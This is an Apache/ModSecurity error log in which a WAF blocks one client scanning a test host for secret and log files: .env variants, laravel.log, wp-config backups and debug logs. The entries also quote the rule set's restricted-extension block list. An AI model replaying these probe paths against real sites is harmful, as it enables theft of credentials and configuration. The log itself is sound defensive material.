[Sun Mar 15 10:47:12.095982 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "abaAIFRPDbn7htWAttP2IwAAAAI"]
[Sun Mar 15 10:47:12.096140 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "abaAIFRPDbn7htWAttP2IwAAAAI"]
[Sun Mar 15 10:47:12.118327 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abaAIFRPDbn7htWAttP2JAAAAAI"]
[Sun Mar 15 10:47:12.118556 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abaAIFRPDbn7htWAttP2JAAAAAI"]
[Sun Mar 15 10:47:12.118723 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abaAIFRPDbn7htWAttP2JAAAAAI"]
[Sun Mar 15 10:47:12.143311 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "abaAIFRPDbn7htWAttP2JQAAAAI"]
[Sun Mar 15 10:47:12.143604 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "abaAIFRPDbn7htWAttP2JQAAAAI"]
[Sun Mar 15 10:47:12.143774 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "abaAIFRPDbn7htWAttP2JQAAAAI"]
[Sun Mar 15 10:47:12.165931 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.qa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.qa"] [unique_id "abaAIFRPDbn7htWAttP2JgAAAAI"]
[Sun Mar 15 10:47:12.166123 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.qa"] [unique_id "abaAIFRPDbn7htWAttP2JgAAAAI"]
[Sun Mar 15 10:47:12.166252 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.qa"] [unique_id "abaAIFRPDbn7htWAttP2JgAAAAI"]
[Sun Mar 15 10:47:12.188146 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "abaAIFRPDbn7htWAttP2JwAAAAI"]
[Sun Mar 15 10:47:12.188539 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "abaAIFRPDbn7htWAttP2JwAAAAI"]
[Sun Mar 15 10:47:12.188676 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "abaAIFRPDbn7htWAttP2JwAAAAI"]
[Sun Mar 15 10:47:12.210684 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/laravel.log"] [unique_id "abaAIFRPDbn7htWAttP2KAAAAAI"]
[Sun Mar 15 10:47:12.211080 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/laravel.log"] [unique_id "abaAIFRPDbn7htWAttP2KAAAAAI"]
[Sun Mar 15 10:47:12.211224 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/laravel.log"] [unique_id "abaAIFRPDbn7htWAttP2KAAAAAI"]
[Sun Mar 15 10:47:12.233026 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/error.log"] [unique_id "abaAIFRPDbn7htWAttP2KQAAAAI"]
[Sun Mar 15 10:47:12.233410 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/error.log"] [unique_id "abaAIFRPDbn7htWAttP2KQAAAAI"]
[Sun Mar 15 10:47:12.233545 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/error.log"] [unique_id "abaAIFRPDbn7htWAttP2KQAAAAI"]
[Sun Mar 15 10:47:12.328465 2026] [authz_core:error] [pid 2708246] [client 185.177.72.49:41458] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Mar 15 10:47:12.604681 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abaAIFRPDbn7htWAttP2OQAAAAI"]
[Sun Mar 15 10:47:12.605084 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abaAIFRPDbn7htWAttP2OQAAAAI"]
[Sun Mar 15 10:47:12.605220 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abaAIFRPDbn7htWAttP2OQAAAAI"]
[Sun Mar 15 10:47:13.091444 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.old"] [unique_id "abaAIQNoJq7fnUw0FhGQxwAAAAQ"]
[Sun Mar 15 10:47:13.092168 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "wp-config.old" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.old found within REQUEST_FILENAME: /wp-config.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.old"] [unique_id "abaAIQNoJq7fnUw0FhGQxwAAAAQ"]
[Sun Mar 15 10:47:13.092373 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.old"] [unique_id "abaAIQNoJq7fnUw0FhGQxwAAAAQ"]
[Sun Mar 15 10:47:13.092489 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.old"] [unique_id "abaAIQNoJq7fnUw0FhGQxwAAAAQ"]
[Sun Mar 15 10:47:13.205069 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.backup"] [unique_id "abaAIQNoJq7fnUw0FhGQzAAAAAQ"]
[Sun Mar 15 10:47:13.205300 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.backup"] [unique_id "abaAIQNoJq7fnUw0FhGQzAAAAAQ"]
[Sun Mar 15 10:47:13.205486 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.backup"] [unique_id "abaAIQNoJq7fnUw0FhGQzAAAAAQ"]
[Sun Mar 15 10:47:13.205608 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.backup"] [unique_id "abaAIQNoJq7fnUw0FhGQzAAAAAQ"]
[Sun Mar 15 10:47:13.437108 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/config/.env"] [unique_id "abaAIQNoJq7fnUw0FhGQ1gAAAAQ"]
[Sun Mar 15 10:47:13.437313 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/config/.env"] [unique_id "abaAIQNoJq7fnUw0FhGQ1gAAAAQ"]
[Sun Mar 15 10:47:13.437450 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/config/.env"] [unique_id "abaAIQNoJq7fnUw0FhGQ1gAAAAQ"]
[Sun Mar 15 10:47:13.549333 2026] [:error] [pid 2708248] [client 185.177.72.49:41690] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/logs/error.log"] [unique_id "abaAIQNoJq7fnUw0FhGQ2wAAAAQ"]
